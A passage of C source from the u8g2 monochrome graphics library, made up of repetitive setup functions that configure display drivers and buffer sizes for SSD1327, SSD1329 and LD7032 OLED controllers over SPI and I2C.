u8g2_m_12_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 f */\nvoid u8g2_Setup_ssd1327_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 */\n/* ssd1327 1 */\nvoid u8g2_Setup_ssd1327_i2c_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 2 */\nvoid u8g2_Setup_ssd1327_i2c_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 f */\nvoid u8g2_Setup_ssd1327_i2c_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_seeed_96x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 */\n/* ssd1327 1 */\nvoid u8g2_Setup_ssd1327_ea_w128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_midas_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_zjy_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_ws_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 2 */\nvoid u8g2_Setup_ssd1327_ea_w128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_midas_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_zjy_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_ws_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 f */\nvoid u8g2_Setup_ssd1327_ea_w128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_midas_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_zjy_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_zjy_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_ws_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 */\n/* ssd1327 1 */\nvoid u8g2_Setup_ssd1327_i2c_ea_w128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_i2c_midas_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_i2c_ws_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 2 */\nvoid u8g2_Setup_ssd1327_i2c_ea_w128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_i2c_midas_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_i2c_ws_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 f */\nvoid u8g2_Setup_ssd1327_i2c_ea_w128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ea_w128128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_i2c_midas_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_midas_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1327_i2c_ws_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_ws_128x128, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 */\n/* ssd1327 1 */\nvoid u8g2_Setup_ssd1327_visionox_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 2 */\nvoid u8g2_Setup_ssd1327_visionox_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 f */\nvoid u8g2_Setup_ssd1327_visionox_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 */\n/* ssd1327 1 */\nvoid u8g2_Setup_ssd1327_i2c_visionox_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 2 */\nvoid u8g2_Setup_ssd1327_i2c_visionox_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1327 f */\nvoid u8g2_Setup_ssd1327_i2c_visionox_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1327_visionox_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1329 */\n/* ssd1329 1 */\nvoid u8g2_Setup_ssd1329_128x96_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1329 2 */\nvoid u8g2_Setup_ssd1329_128x96_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1329 f */\nvoid u8g2_Setup_ssd1329_128x96_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_128x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1329 */\n/* ssd1329 1 */\nvoid u8g2_Setup_ssd1329_96x96_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1329 2 */\nvoid u8g2_Setup_ssd1329_96x96_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1329 f */\nvoid u8g2_Setup_ssd1329_96x96_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1329_96x96_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ld7032 */\n/* ld7032 1 */\nvoid u8g2_Setup_ld7032_60x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_ld7032_60x32_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ld7032 2 */\nvoid u8g2_Setup_ld7032_60x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_ld7032_60x32_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ld7032 f */\nvoid u8g2_Setup_ld7032_60x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_ld7032_60x32_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ld7032 */\n/* ld7032 1 */\nvoid u8g2_Setup_ld7032_i2c_60x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_ld7032_i2c_60x32_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ld7032 2 */\nvoid u8g2_Setup_ld7032_i2c_60x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_ld7032_i2c_60x32_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ld7032 f */\nvoid u8g2_Setup_ld7032_i2c_60x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_ld7032_i2c_60x32_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_60x32_alt, u8x8_cad_ld7032_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_8_4_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ld7032 */\n/* ld7032 1 */\nvoid u8g2_Setup_ld7032_128x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ld7032_128x36, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_5_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ld7032 2 */\nvoid u8g2_Setup_ld7032_128x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, 